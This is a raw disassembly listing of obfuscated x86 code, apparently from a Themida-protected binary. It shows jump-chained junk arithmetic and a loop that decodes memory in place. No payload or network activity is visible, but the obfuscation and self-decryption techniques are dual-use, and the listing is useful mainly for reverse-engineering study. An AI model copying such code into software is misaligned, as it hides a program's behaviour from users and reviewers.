loc_5B26C2:				; CODE XREF: sub_58A891+19A4Cj
		sub	ebp, 174D21A2h
		jmp	loc_5AEEF2
; ---------------------------------------------------------------------------


loc_5B26CD:				; CODE XREF: sub_58A891:loc_5AF15Fj
		and	eax, 36F62679h
		xor	eax, 216B68E5h
		shl	eax, 1
		neg	eax
		sub	eax, 96A66A51h
		add	[ecx], eax
		mov	eax, [esp+8Ah+var_8A]
		add	esp, 4
		xor	[ecx], edx
		mov	edx, [esp+86h+var_86]
		add	esp, 4
		jmp	loc_5AC385
; ---------------------------------------------------------------------------


loc_5B26F5:				; CODE XREF: sub_58A891+25669j
		xor	edx, 24B52014h
		push	eax
		mov	eax, 183356A3h
		sub	eax, 1
		add	eax, 4DD83833h
		add	eax, 44825495h
		or	eax, 4C962C7Fh
		jmp	loc_5A3C63
; ---------------------------------------------------------------------------


loc_5B2718:				; CODE XREF: sub_58A891+1C77Cj
		add	ebx, edx
		pop	edx
		jmp	loc_5B2A24
; ---------------------------------------------------------------------------


loc_5B2720:				; CODE XREF: sub_58A891+18F6Ej
		xor	edi, 0DBF8B258h
		push	edi
		jmp	loc_5AAD21
; ---------------------------------------------------------------------------


loc_5B272C:				; CODE XREF: sub_58A891+1AE14j
		mov	ebp, [esp+1Ah+var_1C+2]
		add	esp, 4
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B2737:				; CODE XREF: sub_58A891+2337Aj
		pop	esp
		mov	[esp+8Ah+var_8A], esi
		mov	esi, 5967583Bh
		jmp	loc_5A455C
; ---------------------------------------------------------------------------
		push	37F5h
		mov	[esp+8Eh+var_8E], edx
		mov	edx, 6A857E33h
		and	edx, 59ED2AE9h
		xor	edx, 6684902h
		xor	edx, 4EED631Fh
		add	edx, edi
		jmp	loc_5A8279
; ---------------------------------------------------------------------------


loc_5B276B:				; CODE XREF: sub_58A891+16E54j
		add	eax, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_5A3EDF
; ---------------------------------------------------------------------------


loc_5B277B:				; CODE XREF: sub_58A891+254BAj
		shl	ebx, 3
		not	ebx
		push	eax
		mov	eax, 6B272231h
		jmp	loc_5A9960
; ---------------------------------------------------------------------------


loc_5B278B:				; CODE XREF: sub_58A891+271F7j
		sub	[esp+12h+var_10+2], esi
		mov	esi, [esp+12h+var_14+2]
		add	esp, 4
		push	1A4Ch
		jmp	loc_59C501
; ---------------------------------------------------------------------------


loc_5B279F:				; CODE XREF: sub_58A891+25A67j
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], ecx
		mov	ecx, 6F0125D3h
		sub	eax, ecx
		jmp	loc_5ACF30
; ---------------------------------------------------------------------------


loc_5B27B4:				; CODE XREF: sub_58A891+21B58j
		push	474h
		jmp	loc_5A28A9
; ---------------------------------------------------------------------------


loc_5B27BE:				; CODE XREF: sub_58A891+17037j
		sub	edx, edi
		jmp	loc_5AAD44
; ---------------------------------------------------------------------------


loc_5B27C5:				; CODE XREF: sub_58A891+17EE8j
		add	edx, ebp
		jmp	loc_5AA27E
; ---------------------------------------------------------------------------


loc_5B27CC:				; CODE XREF: sub_58A891+132B1j
		dec	ah
		jmp	loc_5A36FB
; ---------------------------------------------------------------------------


loc_5B27D3:				; CODE XREF: sub_58A891+14189j
		pop	ebp
		jmp	loc_59D38F
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0Eh+var_10+2]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	edx
		mov	edx, 4
		jmp	loc_5ADE6D
; ---------------------------------------------------------------------------


loc_5B27F0:				; CODE XREF: sub_58A891+26B20j
		pop	ebp
		add	ecx, esi
		pop	esi
		jmp	loc_5AA058
; ---------------------------------------------------------------------------


loc_5B27F9:				; CODE XREF: sub_58A891+11916j
		sub	eax, 9360317h
		add	eax, 2E6B67E6h
		sub	eax, 45332FD6h
		sub	eax, 25D50FC4h
		sub	eax, 6A4A4A15h
		push	19BFh
		mov	[esp+0], edx
		push	1023h
		jmp	loc_59DFBD
; ---------------------------------------------------------------------------


loc_5B2824:				; CODE XREF: sub_58A891+14C5Dj
		jp	loc_5AF1ED
		inc	esi
		or	esi, 169C6A89h
		jmp	loc_5B1597
; ---------------------------------------------------------------------------


loc_5B2836:				; CODE XREF: sub_58A891+1D75Cj
		mov	ecx, 4
		add	[esp+12h+var_10+2], ecx
		pop	ecx
		push	[esp+0Eh+var_10+2]
		jmp	loc_5B12A1
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+12h+var_14+2]
		push	6CF5h
		mov	[esp+16h+var_18+2], edi
		push	esp
		mov	edi, [esp+1Ah+var_1C+2]
		jmp	loc_5A5970
; ---------------------------------------------------------------------------


loc_5B285D:				; CODE XREF: sub_58A891+17DA2j
		mov	[esp+0A2h+var_A2], edi
		jmp	loc_5AA9F3
; ---------------------------------------------------------------------------


loc_5B2865:				; CODE XREF: sub_58A891+27E20j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5AFDAD
; ---------------------------------------------------------------------------


loc_5B2872:				; CODE XREF: sub_58A891+13A7Ej
		push	ecx
		mov	ch, 4Bh
		xor	ch, 32h
		neg	ch
		push	small 5224h
		mov	word ptr [esp+1Ch+var_1C], bx
		mov	bl, 37h
		sub	ch, bl
		pop	bx
		xor	bl, ch
		pop	ecx
		push	ax
		mov	ah, 6Eh
		not	ah
		xor	ah, 50h
		jmp	loc_5A76A9
; ---------------------------------------------------------------------------


loc_5B2899:				; CODE XREF: sub_58A891+16C14j
		or	ebx, 54D902D1h
		jno	loc_5A2D85
		add	ebx, 89208025h
		mov	edx, ebx
		mov	bl, ah


loc_5B28AF:				; CODE XREF: sub_58A891+1EBC2j
		add	esp, 4
		push	esi
		jmp	loc_5AD664
; ---------------------------------------------------------------------------


loc_5B28B8:				; CODE XREF: sub_58A891+1FEC3j
		mov	esi, esp
		jmp	loc_5A3591
; ---------------------------------------------------------------------------


loc_5B28BF:				; CODE XREF: sub_58A891+1C349j
		xchg	edi, [esp+0]
		pop	esp
		mov	[esp+0], esi
		jmp	loc_5B084E
; ---------------------------------------------------------------------------


loc_5B28CB:				; CODE XREF: sub_58A891+11F01j
		push	edi
		push	edx
		mov	edx, 4
		mov	edi, edx
		jmp	loc_5A2DE4
; ---------------------------------------------------------------------------


loc_5B28D9:				; CODE XREF: sub_58A891+2711Ej
		shr	ecx, 8
		jnz	loc_5ACF11
		dec	ecx
		jmp	loc_59E50F
; ---------------------------------------------------------------------------
		mov	edi, eax
		mov	eax, [esp+82h+var_82]
		add	esp, 4


loc_5B28F0:				; CODE XREF: sub_58A891+13316j
		mov	[esp+7Eh+var_7E], edi
		push	ebx
		push	76416C66h
		pop	ebx
		jmp	loc_5B09A4
; ---------------------------------------------------------------------------


loc_5B28FF:				; CODE XREF: sub_58A891+23AC5j
		dec	dword ptr [ecx]
		push	eax
		mov	eax, 11775D3Fh
		add	eax, 7D9633E2h
		jp	loc_5A6FB4
		neg	eax
		jb	loc_5A42E9
		mov	edi, ebx
		mov	dh, cl


loc_5B291E:				; CODE XREF: sub_58A891+1C4C7j
		xor	edi, ebx
		jmp	loc_59FFF8
; ---------------------------------------------------------------------------


loc_5B2925:				; CODE XREF: sub_58A891+14059j
		add	eax, 4
		xor	eax, [esp+88h+var_8A+2]
		jmp	loc_59C3F0
; ---------------------------------------------------------------------------


loc_5B2932:				; CODE XREF: sub_58A891+1858Aj
		xor	esi, [esp+2+var_4+2]
		jmp	loc_5A6677
; ---------------------------------------------------------------------------


loc_5B293A:				; CODE XREF: sub_58A891+16D9Dj
		mov	ecx, 77E857E1h
		sub	ecx, 7F467184h
		sub	ecx, 0E005658h
		sub	ecx, 750A59AEh
		sub	ecx, 75973653h
		add	edi, ecx
		pop	ecx
		push	edx
		jmp	loc_5AC02C
; ---------------------------------------------------------------------------


loc_5B2960:				; CODE XREF: sub_58A891+13E18j
		mov	edx, 22198Dh
		xor	edi, edx
		jmp	loc_5A86A9
; ---------------------------------------------------------------------------


loc_5B296C:				; CODE XREF: sub_58A891+235DEj
		mov	edx, [esp+56h+var_58+2]
		add	esp, 4
		xor	eax, [esp+52h+var_54+2]
		xor	[esp+52h+var_54+2], eax
		xor	eax, [esp+52h+var_54+2]
		pop	esp
		mov	[esp+4Eh+var_4E], ebp
		push	esp
		mov	ebp, [esp+52h+var_54+2]
		add	esp, 4
		push	edi
		push	2A01h
		mov	[esp+56h+var_58+2], ebx
		mov	ebx, 1928462Eh
		mov	edi, 7DEB71B0h
		jmp	loc_5A9C74
; ---------------------------------------------------------------------------


loc_5B29A4:				; CODE XREF: sub_58A891+1351Bj
		push	small 7B5Dh
		mov	word ptr [esp+9Ch+var_9E+2], bx
		jmp	loc_5A736D
; ---------------------------------------------------------------------------


loc_5B29B1:				; CODE XREF: sub_58A891+13ADBj
		push	ecx
		jmp	loc_5ABCEF
; ---------------------------------------------------------------------------


loc_5B29B7:				; CODE XREF: sub_58A891+25153j
		add	ecx, 3BC14600h
		pop	esi
		jmp	loc_5A5AA4
; ---------------------------------------------------------------------------


loc_5B29C3:				; CODE XREF: sub_58A891+2252Bj
		push	ebp
		mov	ebp, 5C402E9Eh
		jmp	loc_5A2FA7
; ---------------------------------------------------------------------------


loc_5B29CE:				; CODE XREF: sub_58A891+16C82j
		add	ecx, 0F77BBAC2h
		add	edi, ecx
		pop	ecx
		add	edi, ebx
		sub	edi, 6FDE30B3h
		mov	ebx, [esp+64h+var_64]
		push	edx
		mov	edx, esp
		jmp	loc_59ECB2
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+68h+var_68]
		jmp	loc_5AD1A3
; ---------------------------------------------------------------------------


loc_5B29F3:				; CODE XREF: sub_58A891+18DEDj
		add	edx, 4
		push	ecx
		jmp	loc_5B2E4C
; ---------------------------------------------------------------------------


loc_5B29FF:				; CODE XREF: sub_58A891+12F4Aj
					; sub_58A891+1B203j
		mov	esi, 6D1938A8h
		neg	esi
		inc	esi
		not	esi
		xor	esi, 7C816D08h
		add	ebp, esi
		jmp	loc_5A013C
; ---------------------------------------------------------------------------


loc_5B2A16:				; CODE XREF: sub_58A891+1C210j
		pop	[esp+80h+var_82+2]
		mov	esp, [esp+7Ch+var_7E+2]
		mov	[esp+7Ch+var_7E+2], esi
		jmp	loc_5A8D85
; ---------------------------------------------------------------------------


loc_5B2A24:				; CODE XREF: sub_58A891+27E8Aj
		pop	edx
		xor	ebx, 7EA66E57h
		push	ecx
		jmp	loc_59E7DF
; ---------------------------------------------------------------------------


loc_5B2A31:				; CODE XREF: sub_58A891+13B3Aj
					; sub_58A891+2118Dj
		and	eax, edi
		jmp	loc_59E507
; ---------------------------------------------------------------------------


loc_5B2A38:				; CODE XREF: sub_58A891+1924Cj
		add	ecx, ebx
		push	dword ptr [esp+0]
		jmp	loc_5B0246
; ---------------------------------------------------------------------------


loc_5B2A42:				; CODE XREF: sub_58A891+17FC1j
		add	eax, ebp
		add	eax, 14D84CD2h
		add	eax, 12142FD1h
		sub	eax, 10F27487h
		sub	eax, 2D63919h
		sub	eax, 6A43577Fh
		pop	ebp
		push	ebx
		mov	ebx, 10DF02C7h
		sub	eax, ebx
		pop	ebx
		jmp	loc_5A17E3
; ---------------------------------------------------------------------------


loc_5B2A6C:				; CODE XREF: sub_58A891+20B53j
		xor	bl, al
		pop	eax
		xor	ch, bl
		jmp	loc_5A23E3
; ---------------------------------------------------------------------------


loc_5B2A76:				; CODE XREF: sub_58A891+1FA3Fj
		not	edi
		sub	edi, 2C134854h
		shr	edi, 2
		add	edi, 38542B0h
		or	edi, 222D54A8h
		sub	edi, 0D3446B33h
		sub	ecx, edi
		pop	edi
		jmp	loc_5A0B79
; ---------------------------------------------------------------------------


loc_5B2A9B:				; CODE XREF: sub_58A891+284EEj
		push	esi
		jmp	loc_59DA40
; ---------------------------------------------------------------------------


loc_5B2AA1:				; CODE XREF: sub_58A891+2856Cj
		push	eax
		mov	eax, 0B2938E5h
		sub	eax, 9D140D9h
		inc	eax
		push	esi
		mov	esi, 6A0241EFh
		neg	esi
		push	edi
		push	esi
		jmp	loc_5A7D8C
; ---------------------------------------------------------------------------


loc_5B2ABC:				; CODE XREF: sub_58A891+283E4j
		add	ebp, eax
		pop	eax
		push	edx
		jmp	loc_5A06E2
; ---------------------------------------------------------------------------


loc_5B2AC5:				; CODE XREF: sub_58A891+245CBj
		xor	ebp, [esp+7Ah+var_7A]
		xor	[esp+7Ah+var_7A], ebp
		jmp	loc_5A5F8C
; ---------------------------------------------------------------------------


loc_5B2AD0:				; CODE XREF: sub_58A891:loc_5A6763j
		jmp	loc_5A96B9
; ---------------------------------------------------------------------------


loc_5B2AD5:				; CODE XREF: sub_58A891+259F8j
		xor	eax, 0CA9E2C4Eh
		xor	ebp, eax
		jmp	loc_59EBBF
; ---------------------------------------------------------------------------


loc_5B2AE1:				; CODE XREF: sub_58A891+2718Dj
		shl	eax, 5
		push	5FB3h
		mov	[esp+26h+var_28+2], ebp
		push	edi
		mov	edi, 76367CE5h
		and	edi, 3BE94B75h
		xor	edi, 47582FA9h
		push	edi
		jmp	loc_5B0B2F
; ---------------------------------------------------------------------------


loc_5B2B04:				; CODE XREF: sub_58A891+1F9FDj
		xor	dh, 9Ah
		or	dh, 0Eh
		add	dh, 0ECh
		sub	dh, 13h
		sub	bh, 4Ah
		jmp	loc_5B1FCB
; ---------------------------------------------------------------------------


loc_5B2B18:				; CODE XREF: sub_58A891+2392Fj
		sub	esp, 4
		mov	[esp+0D2h+var_D4+2], esi
		push	esp
		pop	esi
		jmp	loc_5A3041
; ---------------------------------------------------------------------------


loc_5B2B28:				; CODE XREF: sub_58A891+1254Aj
		push	eax
		mov	ah, 8Eh
		add	ah, 70h
		push	ebx
		mov	bh, 40h
		and	bh, 0D0h
		and	bh, 18h
		add	bh, 0EAh
		and	ah, bh
		pop	ebx
		push	ax
		not	byte ptr [esp+7Ah+var_7A+1]
		pop	ax
		jmp	loc_5A6384
; ---------------------------------------------------------------------------


loc_5B2B4A:				; CODE XREF: sub_58A891+18AC1j
		sub	ebp, 157F3140h
		jmp	loc_59E164
; ---------------------------------------------------------------------------


loc_5B2B55:				; CODE XREF: sub_58A891+1FA0Ej
		pop	edi
		push	ebx
		jmp	loc_5AC973
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+9Ah+var_9A]
		jmp	loc_5AB5ED
; ---------------------------------------------------------------------------


loc_5B2B65:				; CODE XREF: sub_58A891+21815j
		sub	eax, 0DC5CB989h
		add	ebx, eax
		pop	eax
		jmp	loc_5B033F
; ---------------------------------------------------------------------------


loc_5B2B72:				; CODE XREF: sub_58A891+1F336j
		shl	ebx, 8
		push	ecx
		jmp	loc_59E0A0
; ---------------------------------------------------------------------------


loc_5B2B7B:				; CODE XREF: sub_58A891+137CBj
		mov	[esp+8Eh+var_8E], ebp
		jmp	loc_5AAB1F
; ---------------------------------------------------------------------------


loc_5B2B83:				; CODE XREF: sub_58A891+24C22j
		push	ebx
		mov	ebx, 60505436h
		add	edi, ebx
		jmp	loc_5B2DAE
; ---------------------------------------------------------------------------


loc_5B2B90:				; CODE XREF: sub_58A891+2384Cj
		shl	edi, 6
		xchg	eax, edi
		push	eax
		inc	[esp+0CEh+var_D0+2]
		pop	eax
		xchg	eax, edi
		xor	edi, 87A383h
		push	ebp
		jmp	loc_5A880D
; ---------------------------------------------------------------------------


loc_5B2BA6:				; CODE XREF: sub_58A891+15678j
		pop	ecx
		jmp	loc_5A198B
; ---------------------------------------------------------------------------


loc_5B2BAC:				; CODE XREF: sub_58A891+22034j
		push	ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B2BB4:				; CODE XREF: sub_58A891+15E0Dj
		sar	byte ptr [esp+86h+var_86], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B2BBD:				; CODE XREF: sub_58A891+24AA8j
		add	esp, 4
		push	[esp+0A0h+var_A2+2]
		pop	ebx
		add	esp, 4
		push	[esp+9Ch+var_9E+2]
		mov	edx, [esp+0A0h+var_A2+2]
		add	esp, 4
		add	esp, 4
		sub	[esp+98h+var_96+2], esi
		mov	esi, [esp+98h+var_9A+2]
		jmp	loc_5B0616
; ---------------------------------------------------------------------------


loc_5B2BE5:				; CODE XREF: sub_58A891+1D89Cj
		add	ecx, edx
		pop	edx
		pop	eax
		add	ebx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 2
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp-12h+arg_8+2]
		xor	[esp-12h+arg_8+2], ebx
		jmp	loc_5AE0F9
; ---------------------------------------------------------------------------


loc_5B2C00:				; CODE XREF: sub_58A891+28755j
		pop	[esp-12h+arg_8+2]
		jmp	loc_59C3F8
; ---------------------------------------------------------------------------


loc_5B2C08:				; CODE XREF: sub_58A891+1F7B7j
		and	eax, edx
		pop	edx
		sub	eax, 0AAC495CEh
		xor	edi, eax
		pop	eax
		inc	edi
		jmp	loc_5AE15E
; ---------------------------------------------------------------------------


loc_5B2C19:				; CODE XREF: sub_58A891+14B2Ej
		xor	edx, 0DAB0396h
		add	ebx, edx
		pop	edx
		push	ebp
		mov	ebp, 50044239h
		add	ebp, 624E6EEAh
		jmp	loc_5A0B44
; ---------------------------------------------------------------------------


loc_5B2C33:				; CODE XREF: sub_58A891+20C12j
		push	0ADCh
		mov	[esp-0Ah+arg_0+2], ebp
		push	ecx
		mov	ecx, 0C664904h
		neg	ecx
		and	ecx, 762E44C1h
		jnp	loc_5AD36A
		jmp	loc_5A20F4
; ---------------------------------------------------------------------------


loc_5B2C54:				; CODE XREF: sub_58A891+23058j
		add	esp, 4
		push	ebx
		push	eax
		mov	eax, 3CA7671Dh
		add	eax, 56E35AEBh
		xor	eax, 52E22D42h
		jmp	loc_59CEFD
; ---------------------------------------------------------------------------


loc_5B2C70:				; CODE XREF: sub_58A891+275E9j
		xor	eax, 3FEF7E78h
		jmp	loc_5B2ABC
; ---------------------------------------------------------------------------


loc_5B2C7A:				; CODE XREF: sub_58A891+1B64Cj
		jmp	loc_5A91EF
; ---------------------------------------------------------------------------


loc_5B2C7F:				; CODE XREF: sub_58A891+1D45Fj
		add	esp, 4
		pop	edx
		inc	edx
		xchg	edx, ecx
		push	ebx
		mov	ebx, 1E401404h
		jmp	loc_59CD45
; ---------------------------------------------------------------------------


loc_5B2C91:				; CODE XREF: sub_58A891+22922j
		push	edi
		push	5865h
		mov	[esp+96h+var_96], esp
		add	[esp+96h+var_96], 4
		pop	edi
		jmp	loc_59C712
; ---------------------------------------------------------------------------


loc_5B2CA7:				; CODE XREF: sub_58A891+13BCFj
					; sub_58A891+1AA38j
		xchg	esi, [esp+82h+var_82]
		pop	esp
		jmp	loc_5AC611
; ---------------------------------------------------------------------------


loc_5B2CB0:				; CODE XREF: sub_58A891+2709Cj
		mov	ebx, 9D289615h
		xor	eax, ebx
		pop	ebx
		add	edx, eax
		pop	eax
		xor	ecx, edx
		pop	edx
		push	[esp+7Ah+var_7A]
		pop	eax
		add	esp, 4
		push	ebx
		push	7C0501A3h
		push	[esp+7Eh+var_7E]
		jmp	loc_5AF462
; ---------------------------------------------------------------------------


loc_5B2CD6:				; CODE XREF: sub_58A891+2153Cj
		mov	[esp+74h+var_74], ebx
		jmp	loc_59DC03
; ---------------------------------------------------------------------------


loc_5B2CDE:				; CODE XREF: sub_58A891+15462j
		push	edx
		jmp	loc_5A7B19
; ---------------------------------------------------------------------------


loc_5B2CE4:				; CODE XREF: sub_58A891+213C9j
		not	eax
		jmp	loc_5A8AD7
; ---------------------------------------------------------------------------


loc_5B2CEB:				; CODE XREF: sub_58A891+159EBj
		shr	dh, 7
		jmp	loc_59DB87
; ---------------------------------------------------------------------------


loc_5B2CF3:				; CODE XREF: sub_58A891+14E15j
		dec	bl
		push	dx
		mov	dh, 0EDh
		add	bl, dh
		pop	dx
		sub	dh, bl
		pop	ebx
		add	bl, dh
		mov	edx, [esp+2+var_4+2]
		add	esp, 4
		jmp	loc_59EF8D
; ---------------------------------------------------------------------------


loc_5B2D0D:				; CODE XREF: sub_58A891+19728j
		mov	ebp, eax
		pop	eax
		add	ebx, ebp
		pop	ebp
		jmp	loc_5A13F0
; ---------------------------------------------------------------------------


loc_5B2D18:				; CODE XREF: sub_58A891+1C104j
		mov	[esp+68h+var_68], edi
		mov	edi, 2
		sub	esi, 31253E74h
		add	esi, edi
		sub	esp, 4
		mov	[esp+6Ch+var_6C], ebx
		push	eax
		mov	eax, 5B2A3A5Bh
		neg	eax
		jg	loc_5A2E5A
		sub	eax, 12E94943h
		jo	loc_5AEAB4
		push	ebx
		mov	ebx, 3CC7603Bh
		or	ebx, 4EBB2269h
		add	ebx, 1F3A634Ch
		inc	ebx
		or	ebx, 514E4E29h
		or	ebx, 3A114D1Dh
		add	ebx, 0B49DD477h
		add	eax, ebx
		pop	ebx
		mov	ebx, eax
		pop	eax
		shr	ebx, 7
		xor	ebx, 31A92A35h
		add	esi, ebx
		pop	ebx
		pop	edi
		jmp	loc_5B2A9B
; ---------------------------------------------------------------------------


loc_5B2D84:				; CODE XREF: sub_58A891+141D1j
					; sub_58A891:loc_5AF1C7j
		add	bl, 28h
		jmp	loc_5AC5E7
; ---------------------------------------------------------------------------


loc_5B2D8C:				; CODE XREF: sub_58A891+23164j
		xor	ebx, 71222FF3h
		and	ebx, 34948B0h
		sub	ebx, 0FFFFFFFFh
		xor	ebx, 50576EF0h
		xor	ebp, ebx
		mov	ebx, [esp-12h+arg_8+2]
		jmp	loc_59DEBB
; ---------------------------------------------------------------------------


loc_5B2DAE:				; CODE XREF: sub_58A891+282FAj
		pop	ebx
		jmp	loc_5ADCC8
; ---------------------------------------------------------------------------


loc_5B2DB4:				; CODE XREF: sub_58A891+19E17j
		mov	edx, 6D5A1761h
		shl	edx, 4
		jmp	loc_5A464A
; ---------------------------------------------------------------------------


loc_5B2DC1:				; CODE XREF: sub_58A891+26F28j
		add	ebp, edi
		pop	edi
		mov	edx, [esp+8Ah+var_8A]
		sub	esp, 4
		mov	[esp+8Eh+var_8E], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+8Eh+var_8E]
		xor	[esp+8Eh+var_8E], ecx
		jmp	loc_59E230
; ---------------------------------------------------------------------------


loc_5B2DE3:				; CODE XREF: sub_58A891+26789j
		mov	[esp-12h+arg_8+2], edx
		push	ebp
		mov	ebp, 102608B7h
		mov	edx, ebp
		pop	ebp
		sub	edx, 1A90469Bh
		add	edx, 0FFFFFFFFh
		not	edx
		jmp	loc_5B2AA1
; ---------------------------------------------------------------------------


loc_5B2E02:				; CODE XREF: sub_58A891+13E78j
		neg	ebx
		jl	loc_59FD33
		add	ebx, 1AC91FBBh
		jge	loc_5A613A
		mov	dh, ch


loc_5B2E18:				; CODE XREF: sub_58A891+2288Fj
		push	edi
		mov	edi, 6F47206Fh
		neg	edi
		dec	edi
		and	edi, 2A13267Eh
		shr	edi, 3
		jmp	loc_5ACEA6
; ---------------------------------------------------------------------------


loc_5B2E2F:				; CODE XREF: sub_58A891+1BDD4j
		pop	ebx
		mov	edi, ebp
		jmp	loc_5B0E7C
; ---------------------------------------------------------------------------


loc_5B2E37:				; CODE XREF: sub_58A891+22520j
		pop	edi
		shl	edi, 5
		jp	loc_5A0828
		jmp	loc_5A01A0
; ---------------------------------------------------------------------------
		jmp	loc_5A5762
; ---------------------------------------------------------------------------
		push	edx


loc_5B2E4C:				; CODE XREF: sub_58A891+28169j
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp+12h+var_14+2]
		add	esp, 4
		xchg	edx, [esp+0Eh+var_10+2]
		pop	esp
		push	1FC2h
		mov	[esp+0Eh+var_10+2], edx
		mov	edx, 0
		sub	edx, 4754E29h
		jmp	loc_59D5E4
; ---------------------------------------------------------------------------


loc_5B2E78:				; CODE XREF: sub_58A891+21612j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B2E7D:				; CODE XREF: sub_58A891+143B5j
		add	ebp, edi
		pop	edi
		add	ebp, 430775A6h
		sub	eax, ebp
		push	[esp+6Eh+var_70+2]
		pop	ebp
		push	edi
		jmp	loc_5AA948
; ---------------------------------------------------------------------------


loc_5B2E92:				; CODE XREF: sub_58A891+1BA58j
		jl	loc_5AE5AE
		jmp	loc_5B0DB9
; ---------------------------------------------------------------------------


loc_5B2E9D:				; CODE XREF: sub_58A891:loc_5B15BBj
		jmp	loc_59EC31
; ---------------------------------------------------------------------------


loc_5B2EA2:				; CODE XREF: sub_58A891+1E6C4j
		push	4077h
		mov	[esp+92h+var_92], ebx
		push	16E3h
		mov	[esp+96h+var_96], edi
		jmp	loc_59C82A
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp+94h+var_96+2], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B2EC7:				; CODE XREF: sub_58A891+17ED7j
		mov	edi, [esp+96h+var_96]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+9Ah+var_9A]
		pop	esp
		jmp	loc_5A9382
; ---------------------------------------------------------------------------


loc_5B2EDF:				; CODE XREF: sub_58A891+175F8j
		mov	ecx, 4000C2Ch
		sub	edx, ecx
		jmp	loc_5A07C7
; ---------------------------------------------------------------------------


loc_5B2EEB:				; CODE XREF: sub_58A891+1A931j
		pop	eax
		push	[esp+86h+var_86]
		mov	ecx, [esp+8Ah+var_8A]
		add	esp, 4
		add	esp, 4
		add	edx, edi
		sub	edx, 54DC3010h
		jmp	loc_5A97DC
; ---------------------------------------------------------------------------


loc_5B2F05:				; CODE XREF: sub_58A891+2597Ej
		xchg	ebx, [esp-8+arg_0]
		pop	esp
		mov	[esp-0Ch+arg_4], eax
		jmp	loc_5A0742
; ---------------------------------------------------------------------------


loc_5B2F11:				; CODE XREF: sub_58A891+14BCCj
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_59D432
		push	7BA8h
		mov	[esp+82h+var_82], ecx
		jmp	loc_5ADC81
; ---------------------------------------------------------------------------


loc_5B2F29:				; CODE XREF: sub_58A891+1A417j
		xor	edi, 6C19B0F5h
		mov	ecx, edi
		jmp	loc_5A4B7D
; ---------------------------------------------------------------------------


loc_5B2F36:				; CODE XREF: sub_58A891+1ACD1j
		add	esp, 4
		mov	esi, edx
		pop	edx
		add	ecx, esi
		mov	esi, [esp-16h+arg_E]
		jmp	loc_5A1CE4
; ---------------------------------------------------------------------------


loc_5B2F49:				; CODE XREF: sub_58A891+12BEEj
					; sub_58A891+25DFAj
		or	ecx, 0BFA690Ah
		sub	ecx, 93739DBh
		xor	ebx, ecx
		pop	ecx
		add	eax, 595423F4h
		sub	eax, 3D1422ABh
		add	eax, ebx
		add	eax, 3D1422ABh
		push	ebx
		mov	ebx, 595423F4h
		sub	eax, 492F5908h
		jmp	loc_5B20E2
; ---------------------------------------------------------------------------


loc_5B2F79:				; CODE XREF: sub_58A891+1D4EBj
		push	603Dh
		mov	[esp-16h+arg_E], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-16h+arg_E]
		jmp	loc_5ADF69
; ---------------------------------------------------------------------------


loc_5B2F93:				; CODE XREF: sub_58A891+16C09j
					; sub_58A891+1B652j
		inc	edi
		xor	edi, 2C4F3F44h
		xor	edi, 43E5F553h
		add	edx, edi
		push	[esp+70h+var_70]
		jmp	loc_5A5561
; ---------------------------------------------------------------------------


loc_5B2FAA:				; CODE XREF: sub_58A891+1B0CDj
		add	esi, ecx
		jmp	loc_5A7541
; ---------------------------------------------------------------------------


loc_5B2FB1:				; CODE XREF: sub_58A891+1AA17j
		mov	edi, edx
		pop	edx
		mov	esi, 0AE36F1C0h
		push	ecx
		jmp	loc_5A7F1E
; ---------------------------------------------------------------------------


loc_5B2FBF:				; CODE XREF: sub_58A891+187FEj
		add	eax, 4CFB41DBh
		push	edx
		sub	esp, 4
		mov	[esp+92h+var_92], esi
		push	4396385Fh
		pop	esi
		mov	edx, esi
		mov	esi, [esp+92h+var_92]
		jmp	loc_5B0FED
; ---------------------------------------------------------------------------


loc_5B2FDE:				; CODE XREF: sub_58A891+223A8j
		mov	[esp+8Eh+var_8E], ebx
		push	[esp+8Eh+var_8A]
		pop	ebx
		jmp	loc_5B2C00
; ---------------------------------------------------------------------------


loc_5B2FEB:				; CODE XREF: sub_58A891+394Aj
		call	near ptr loc_5B2FF5+4
		add	eax, 68633CF0h


loc_5B2FF5:				; CODE XREF: sub_58A891:loc_5B2FEBp
		neg	dword ptr ds:0B70F846Ah
sub_58A891	endp ; sp-analysis failed

		cli
		pop	edx
		pusha
		movzx	eax, ax
		jo	loc_5B3008
		clc


loc_5B3008:				; CODE XREF: Themida_:005B3001j
		popa
		add	edx, 6CACh
		mov	eax, 1DBC17DAh
		mov	ecx, 1AFFh
		mov	edi, ebx


loc_5B301B:				; CODE XREF: Themida_:loc_5B308Fj
		mov	esi, [edx]
		xor	esi, 5B74283h
		jmp	loc_5B3034
; ---------------------------------------------------------------------------
		dd 1F0C877Eh, 9614E582h, 0A628FD5Ch
; ---------------------------------------------------------------------------


loc_5B3034:				; CODE XREF: Themida_:005B3023j
		sub	esi, 4074D230h
		jmp	loc_5B3044
; ---------------------------------------------------------------------------
		db 95h
		dd 7575B66Bh
; ---------------------------------------------------------------------------


loc_5B3044:				; CODE XREF: Themida_:005B303Aj
		xor	esi, 465818D1h
		clc
		push	esi
		or	ax, 3D5Eh
		pop	dword ptr [edx]
		sub	edx, 4
		push	edx
		push	ebx
		mov	bx, 1583h
		pop	edi
		pop	edi
		dec	ecx
		jnz	loc_5B3078
		mov	bx, dx
		jmp	loc_5B30A4
